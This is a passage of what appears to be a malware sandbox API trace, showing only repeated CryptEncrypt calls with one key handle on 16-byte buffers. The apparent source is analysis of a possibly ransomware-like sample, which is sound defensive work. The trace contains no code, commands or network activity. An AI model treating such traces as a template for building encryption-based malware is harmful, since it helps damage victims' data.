pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.707] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.708] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.709] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.710] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.711] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.712] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 